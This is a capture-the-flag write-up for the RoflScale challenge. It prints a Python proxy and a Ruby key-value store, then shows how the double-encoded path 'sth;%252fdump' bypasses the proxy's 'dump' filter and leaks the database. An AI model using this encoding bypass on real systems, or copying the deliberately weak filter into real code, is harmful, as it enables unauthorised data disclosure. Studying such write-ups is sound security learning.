CONFidence DS CTF 2016 RoflScale Writeup

Homepage:

https://ctf.dragonsector.pl/

Description:

Below you can find my solution for RoflScale task from CONFidence DS CTF 2016.

Proof of Concept:

We have proxy written in Python:

from werkzeug.wrappers import Request, Response
from werkzeug.serving import run_simple
from urlparse import urlparse, urlunparse
from urllib import unquote
from requests import request

@Request.application
def proxy(req):
    url = urlparse(unquote(req.url))
    path = url.path
    while unquote(path) != path: path = unquote(path)
    if 'dump' in path:
        return Response('GTFO')
    else:
        newurl = urlunparse(('http', 'localhost:3000') + url[2:])
        return Response(request(req.method, newurl).content)

if __name__ == '__main__':
    run_simple('0.0.0.0', 4000, proxy)

and program written in Ruby:

require 'sinatra'
require 'pstore'
require 'uri'

DB = PStore.new('db/db.pstore')
DB.transaction do
  DB['secret/flag'] = File.read('flag.txt')
  DB['not_flag'] = 'This is not a flag'
end

class KVStore < Sinatra::Base
  get '/:key' do |key|
    DB.transaction do
      DB[key]
    end
  end

  post '/:key' do |key|
    DB.transaction do
      DB[key] = params[:value]
    end
  end
end

class DebugHelper
  def initialize(upstream, db)
    @upstream = upstream
    @db = db
  end

  def call(env)
    path = env['REQUEST_PATH']

    while URI.unescape(path) != path do
      path = URI.unescape(path)
    end

    if path.end_with? '/dump' # may be running in a subdirectory
      [200, {'Content-Type' => 'text/plain'}, [File.read(@db.path)]]
    else
      @upstream.call(env)
    end
  end
end

use DebugHelper, DB
run KVStore

Our job is to send /dump request to program through proxy.

In order to do that we need to check urlparse manual:

Parse a URL into six components, returning a 6-tuple.
scheme://netloc/path;parameters?query#fragment

So when we run this code:

from urlparse import urlparse, urlunparse
from urllib import unquote

url = urlparse(unquote("http://example.com/our_path;rest_part"))
print url.path

We get: /our_path as path.

Knowing that we can try to put /dump as rest_part.

But then urlparse return /our_path;/dump.

So maybe we can encode / using Percent-encoding: http://example.com/our_path;%2fdump

Again the same result. Why? Because unquote function is used. But only once. So maybe we can encode %2f again?

url = urlparse(unquote("http://example.com/our_path;%252fdump"))
print url.path
print urlunparse(('http', 'localhost:3000') + url[2:])

Now url.path return /our_path and http://localhost:3000/our_path;%2fdump is passed to Ruby as env['REQUEST_PATH'].

And because URI.unescape function our_path;%2fdump become our_path;/dump.

So if path.end_with? '/dump' evaluate to true.

Final solution is: http://roflscale.hackable.software:4000/sth;%252fdump

Timeline: